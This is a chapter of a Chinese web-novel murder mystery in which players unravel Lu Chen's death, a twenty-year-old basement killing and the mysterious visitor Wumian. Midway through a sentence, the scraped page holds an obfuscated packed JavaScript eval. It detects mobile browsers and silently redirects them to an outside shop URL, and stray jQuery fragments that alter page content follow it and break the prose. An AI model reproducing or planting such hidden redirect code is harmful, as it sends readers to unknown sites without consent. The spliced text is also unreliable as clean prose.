文趣网 > 都市小说 > 不肯睡的那条鱼 > 41. 第 45 章
    无眠的话像一块巨石投入深潭,激起的涟漪让整个房间的空气都变得沉重起来。煤油灯的火焰跳了一下,在墙壁上投出一阵晃动的影子,像有什么看不见的东西正在黑暗中缓慢地移动。

    缐霰第一个打破了沉默。她把剧本往桌上一放,用一种“我需要确认我有没有听错”的语气问道:“等等——你说你见过这个姿势?在很多年前?什么意思?你认识陆沉?还是你认识那个在地下室里躺过的人?”

    无眠没有立刻回答。他低头看着面前那张照片,指尖沿着粉笔画出的轮廓轻轻描了一圈,像在触摸一段很久远的记忆。然后他抬起头,目光扫过在场的每一个人,最后停在守夜脸上。他开口,声音不高,但每个字都很清晰:“我不认识陆沉。但我认识那间地下室。”

    沨芗放下手中的笔,目光变得专注起来:“你认识那间地下室?什么意思?”

    “那栋别墅,在陆沉买下它之前,属于另一个人。”无眠说,“那个人是我的旧识。二十年前,那栋别墅发生过一起案件——一个年轻女人在地下室里被杀,死因是利器刺穿肺部。凶手一直没有找到。那个案子在当时轰动过一段时间,但因为缺乏证据,最终不了了之。”

    他顿了顿,把照片推回桌面中央:“我收到的这张照片,拍摄的就是当年的案发现场。粉笔画出的轮廓,是那个女人的遗体位置。而她的死亡姿势——和陆沉一模一样。”

    房间里安静得能听见每个人呼吸的声音。那种安静不是平静的安静,是一种像被什么东西压住了的、沉甸甸的安静。煤油灯的火焰在玻璃罩里跳动着,将每个人的表情映得明灭不定。

    回安最先找回自己的声音。她放下笔,双手交握放在桌面上,目光直视无眠,声音比刚才低了一些:“你是说——陆沉的死,和二十年前那起未破的悬案,是同一个凶手所为?”

    “有可能。”无眠说,“但也有可能——是有人知道那起案件的细节,模仿了当年的手法。”

    “模仿作案?”缐霰皱着眉头,“谁会这么做?为什么要这么做?”

    无眠没有回答。他只是把照片收回信封里,放在自己面前的桌面上,然后端起面前那杯已经凉透的茶,喝了一口,不再说话了。他的沉默比任何回答都更有分量——像一扇门,他打开了一条缝,让你们看了一眼门后的东西,然后他关上了,不再让你们继续窥探。

    守夜看着他,看了很久。她忽然意识到,他这个“神秘访客”的角色,从一开始就不是来破案的。他是来确认某件事情的——而他现在已经确认了。

    她收回视线,低头看着自己面前那张血迹分布图,看着图中地下室的位置那个用红笔圈出的区域。她开口,声音不高,但带着一种将所有人的注意力重新拉回主线的力量:“如果我们假设——陆沉的死和二十年前的案件是同一个凶手所为,或者至少是模仿作案——那我们就需要重新审视所有的动机。因为如果凶手是按照某种固定的模式在杀人,那陆沉本人的行为可能并不是他被杀的直接原因——他可能只是被选中了,因为他的某个特征符合凶手的‘标准’。”

    沨芗接上了她的话:“那就要问——陆沉和二十年前那个被害的女人之间,有没有什么共同点?”

    所有人的目光再次转向无眠。无眠放下茶杯,沉默了片刻,然后开口,声音不高,但每个字都放得很稳:“那个女人,是陆沉的大学同学。”

    桌面上再次安静下来。但这次的安静和之前所有的安静都不一样——这次的安静是一种“所有碎片终于开始拼到一起”的安静,像一幅拼图在经历了漫长的混乱之后,终于有人找到了最关键的那一块,把它按进了空缺里。

    缐霰缓缓放下手中的笔,发出一声轻响:“所以,陆沉认识那个被害的女人。他买下了她被害的那栋别墅。然后他以同样的方式死在了同样的位置上。”

    她顿了顿,声音低了一些:“这不可能是巧合。”

    “不可能是巧合。”回安接上了她的话,“但也不一定是同一个凶手作案。还有一种可能——有人知道陆沉和那起案件的关系,利用这个关系来布局,制造出一个‘模仿作案’的表象,来掩盖自己的真实动机。”

    “那这个人必须同时知道两件事。”沨芗说,“一是二十年前那起案件的详细情况——包括死者的姿势、凶器的类型、现场的特征。二是陆沉和那起案件之间的关系——他知道陆沉认识那个死者,知道陆沉买下了那栋别墅,甚至可能知道陆沉为什么买下那栋别墅。”

    她顿了顿,目光在所有人脸上扫了一圈:“这个人,一定在陆沉的社交圈里,而且和陆沉的关系足够近——近到能知道这些细节。”

    缐霰靠在椅背上,长长地呼出一口气:“所以我们绕了一大圈,又回到了原点——凶手就在我们中间。”

    她的话让桌面上再次陷入了沉默。煤油灯的火焰在玻璃罩里跳动着,将每个人的影子投在墙壁上,交叠又分离,像一场无声的、关于秘密的舞蹈。

    守夜低头看着自己面前那张借据的复印件,看着“担保人”那一栏妻子的签名,沉默了很久。然后她抬起头,目光平静地扫过在场的每一个人,开口时声音不高,但每个字都像钉子一样钉在桌面上:“我有一个想法——可能不对,但我想说出来。”

    “说吧。”回安说。

    “如果凶手不是一个人呢?”守夜说,“如果——是两个人合作呢?”

    缐霰愣了一下:“合作?你是说——共犯?”

    “不一定是有预谋的合作。”守夜说,“可能是一个人杀了人,另一个人发现了,然后选择了隐瞒——或者帮助。因为如果凶手是一个人,那所有的线索都应该指向同一个人。但现在我们的线索是分散的——妻子的动机、弟弟的债务、合伙人的感情、情人的恐惧、闺蜜的保护、神秘访客的旧案——每一条线索都指向不同的人,每一条线索都单独成立,但放在一起又互相矛盾。”

    她顿了顿,目光落在桌面中央那张照片上:“但如果凶手是两个人——一个人负责动手,另一个人负责制造干扰——那这些分散的线索就可以被解释了。动手的人留下了物理痕迹——凶器、血迹、时间线。干扰的人留下了心理痕迹——假线索、匿名信、照片。他们可能互不知道对方的身份,也可能——他们知道彼此,但在互相掩护。”

    她说完,房间里安静了很久。久到煤油灯的火焰跳了好几下,久到窗外的风声穿过窗缝,发出一阵低沉的呜咽。然后沨芗开口了。她的声音依然温和,但温和底下压着一层薄薄的、像冰面一样易碎的东西:“你这个推论——有一个漏洞。”

    “什么漏洞?”

    “如果凶手是两个人,那他们之间必须有一个共同的利益点。”沨芗说,“两个人同时有动机杀同一个人,并且愿意冒着被对方出卖的风险合作——这个利益点必须足够大,大到能让两个本来可能互不信任的人达成默契。”

    她顿了顿,目光直视守夜:“你找到这个利益点了吗?”

    守夜看着她,沉默了几息。然后她开口,声音不高,但每个字都很清楚:“找到了。”

    “是什么?”

    “保险金。”守夜说,“妻子买的那份三千万的保险——受益人是妻子。但如果妻子被判有罪,保险金不会赔付。所以妻子需要一个不会被怀疑的人来动手——而她只需要提供一个完美的不在场证明,和一个合理的动机来转移警方的视线。”

    她顿了顿,目光转向莞淀:“而情人——是唯一一个没有经济动机、没有保险利益、没有继承权的人。如果她动手,没有人会想到她是为了钱。她可能是为了感情——为了摆脱陆沉的控制,为了保护自己的名誉,为了结束那段让她窒息的关系。”

    莞淀握着茶杯的手指收紧了一下。她没有抬头,但她的声音从低垂的帽檐下传出来,带着一种出乎所有人意料的平静:“你说得对——我没有经济动机。我也不在乎那三千万。但如果我真的杀了他,我不会留下那么多线索让你们追到我。”

    她抬起头,目光直视守夜,声音不高,但每个字都像钉子一样钉在桌面上:“我是一个连分手都不敢当面说的人——你觉得我有胆子杀人吗?”

    守夜看着她,看了很久。然后她移开视线,低头看着自己面前那张借据的复印件,沉默了片刻,然后开口,声音比刚才低了一些:“你说得对。你没有。”

    她顿了顿,抬起头,目光重新扫过在场的每一个人:“那真正的凶手——可能是一个我们所有人都没有怀疑过的人。”

    她的话让桌面上再次陷入了沉默。煤油灯的火焰在玻璃罩里跳动着,将每个人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759370|209579||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的影子投在墙壁上,交叠又分离。窗外的风声穿过窗缝,发出一阵低沉的呜咽,像有什么看不见的东西正在黑暗中缓慢地移动。

    回安低头看着自己的笔记本,沉默了很久。然后她抬起头,开口时声音不高,但带着一种尘埃落定的分量:“我有一件事,一直没有说。”

    所有人的目光都转向她。

    “案发当晚,我跟妻子通完电话之后——我没有在家。”她说,“我开车去了那栋别墅。”

    缐霰猛地坐直了身体:“你去别墅干什么?!”

    “因为妻子在电话里跟我说,她要去跟陆沉谈离婚协议。”回安说,声音依然平稳,但带着一种微妙的、像是压抑了很久的情绪,“我不放心她一个人去。所以我开车过去,想在暗处看着她,确保她安全。”

    “你看到她了吗?”沨芗问。

    “看到了。”回安说,“我看到她站在别墅大门外的台阶上,站了几分钟,然后转身离开了。她没有进入别墅。”

    “那你呢?”守夜问,声音很轻,“你进去了吗?”

    回安沉默了很久。久到煤油灯的火焰跳了好几下,久到窗外的风声穿过窗缝,发出一阵低沉的呜咽。然后她开口,声音低得几乎要被黑暗吞没:“我进去了。”

    桌面上安静得能听见每个人呼吸的声音。煤油灯的火焰在玻璃罩里跳动着,将回安的脸映得明灭不定。她的表情依然平静,但握着笔记本边角的手指指节泛白,像在用力压制着什么。

    “我进去的时候——陆沉已经死了。”她说,“地下室的门开着,灯亮着。我走下楼梯,看见他躺在地上,胸口有一道伤口,血流了一地。我探了他的脉搏——已经没有心跳了。”

    “那你为什么不报警?!”缐霰的声音拔高了一些。

    “因为我怕。”回安说,声音依然平稳,但平稳底下压着一层薄薄的、像冰面一样易碎的东西,“我怕警方会怀疑是妻子做的——她有动机,她买了保险,她出现在别墅附近。如果我在那个时候报警,她的嫌疑会成为警方的首要目标。所以我选择了隐瞒——我离开了现场,没有碰任何东西,没有留下任何痕迹。”

    她顿了顿,抬起头,目光直视守夜:“我隐瞒现场,不是为了保护凶手——是为了保护你。”

    房间里再次陷入了沉默。这次的沉默比之前任何一次都要沉重,像一块巨石压在每个人的胸口上。煤油灯的火焰在玻璃罩里跳动着,将每个人的表情映得明灭不定。

    守夜看着回安,看了很久。然后她开口,声音有些哑:“你为什么不早点说?”

    “因为我在等真正的凶手露出破绽。”回安说,“我隐瞒现场,等于给了真正的凶手一个机会——如果凶手以为没有人发现尸体,ta可能会返回现场处理证据。我在等ta回来。”

    “有人回来吗?”沨芗问。

    回安沉默了一下,然后开口,声音低了一些:“有。”

    所有人的呼吸都停滞了一瞬。

    “案发后第三天凌晨——我回到别墅附近蹲守。”回安说,“凌晨三点十七分,有人从别墅的后门走了出来。穿着一件黑色的连帽风衣,帽子压得很低,看不清脸。那个人手里拿着一个信封——走到路口的邮筒前,把信封投了进去。”

    她顿了顿,目光转向无眠:“如果我猜得没错——那个信封,就是寄给你的那张照片。”

    无眠没有说话。他只是低头看着自己面前那个牛皮纸信封,沉默了很久。然后他抬起头,开口时声音不高,但每个字都像从深海底部缓缓浮上来的一样:“你看到那个人的脸了吗?”

    回安沉默了几息,然后开口,声音低得几乎要被黑暗吞没:“看到了。”

    “是谁?”

    回安的目光缓缓移动,越过缐霰,越过沨芗,越过莞淀,越过守夜,最后停在无眠身上。她开口,声音不高,但每个字都像钉子一样钉在桌面上:“是你。”

    煤油灯的火焰猛地跳了一下,然后在玻璃罩里发出一声轻微的爆裂声,熄灭了。房间陷入了完全的黑暗。黑暗中,没有人说话。只有呼吸声,交错着,像几把无形的刀在黑暗中互相试探。然后,在黑暗的最深处,传来一声极轻的、像是叹息又像是笑的声音——是无眠的声音。

    “终于被你找到了。”他说。